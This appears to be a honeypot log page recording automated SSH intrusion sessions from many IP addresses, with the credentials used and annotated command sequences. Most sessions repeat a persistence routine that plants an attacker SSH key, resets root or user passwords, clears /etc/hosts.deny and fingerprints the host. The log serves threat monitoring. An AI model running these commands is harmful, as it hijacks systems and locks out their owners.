$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:VADVoeSPQKTc"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

🎭 samba_root_2 (177.85.247.230) — Timon, Brazil · 1 session · 19 cmds

2026-07-07 22:05 EDT · as root/Jz123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:T1Lei6LBLS7V"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cowboy_root_8 (167.172.134.175) — North Bergen, United States · 1 session · 20 cmds

2026-07-07 21:59 EDT · as majordomo/test123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "test123\nxyGnAJVGUIJ3\nxyGnAJVGUIJ3"|passwd|bash

$ Enter new UNIX password:

$ echo "test123\nxyGnAJVGUIJ3\nxyGnAJVGUIJ3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_30 (8.210.214.44) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-07-07 21:57 EDT · as mongo/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 wraith_root_28 (185.79.139.16) — Helsinki, Finland · 1 session · 20 cmds

2026-07-07 21:54 EDT · as ubuntu/Pass@2024

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Pass@2024\nBBqLQK4MejZ5\nBBqLQK4MejZ5"|passwd|bash

$ Enter new UNIX password:

$ echo "Pass@2024\nBBqLQK4MejZ5\nBBqLQK4MejZ5\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bonsai_root (40.74.68.248) — Osaka, Japan · 1 session · 19 cmds

2026-07-07 21:25 EDT · as root/Jz123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:SzMVYGn8exuu"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 eagle_root_7 (165.227.209.27) — Clifton, United States · 1 session · 19 cmds

2026-07-07 19:35 EDT · as root/google10

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:XfJQO01pDBFb"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 burger_root_6 (172.190.13.234) — Boydton, United States · 1 session · 20 cmds

2026-07-07 19:22 EDT · as hadoop/hadoop@2022

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "hadoop@2022\nXTEBjDuIQ1kR\nXTEBjDuIQ1kR"|passwd|bash

$ Enter new UNIX password:

$ echo "hadoop@2022\nXTEBjDuIQ1kR\nXTEBjDuIQ1kR\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 tulip_root_4 (64.225.72.42) — Amsterdam, The Netherlands · 1 session · 20 cmds

2026-07-07 18:40 EDT · as golflife/golflife

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "golflife\nwuuSA5Gr1JnD\nwuuSA5Gr1JnD"|passwd|bash

$ Enter new UNIX password:

$ echo "golflife\nwuuSA5Gr1JnD\nwuuSA5Gr1JnD\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 pretzel_root_11 (87.120.84.174) — Frankfurt am Main, Germany · 1 session · 20 cmds

2026-07-07 16:02 EDT · as newuser/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "root\nWpdzbKsvcJOg\nWpdzbKsvcJOg"|passwd|bash

$ Enter new UNIX password:

$ echo "root\nWpdzbKsvcJOg\nWpdzbKsvcJOg\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_24 (36.92.140.209) — Bekasi, Indonesia · 1 session · 19 cmds

2026-07-07 15:40 EDT · as root/Hh1234567

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:5VD4WHMA5FP5"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_28 (201.186.40.250) — Los Ángeles, Chile · 1 session · 19 cmds

2026-07-07 15:40 EDT · as root/qazwsx123.

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:WTizXsIEp96T"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ramen_root (43.130.249.176) — Tokyo, Japan · 1 session · 19 cmds

2026-07-07 13:53 EDT · as root/wl123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Y3yDcuNIVqYs"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade_root_6 (119.96.193.72) — Shizishan, China · 1 session · 19 cmds

2026-07-07 13:13 EDT · as root/!QAZ@WSX#EDC

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:0rbwzU16Pjxi"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wok_root_8 (103.236.87.224) — Beijing, China · 1 session · 20 cmds

2026-07-07 12:44 EDT · as server/1qaz@WSX

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1qaz@WSX\nmCnntSKeW5n8\nmCnntSKeW5n8"|passwd|bash

$ Enter new UNIX password:

$ echo "1qaz@WSX\nmCnntSKeW5n8\nmCnntSKeW5n8\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_24 (128.251.36.118) — Dublin, Ireland · 1 session · 19 cmds

2026-07-07 12:32 EDT · as root/toor2025

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:SABb83OJRe2t"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 eagle_root_2 (213.108.3.171) — Secaucus, United States · 2 sessions · 38 cmds

2026-07-04 13:46 EDT · as root/123456Ai, root/303030

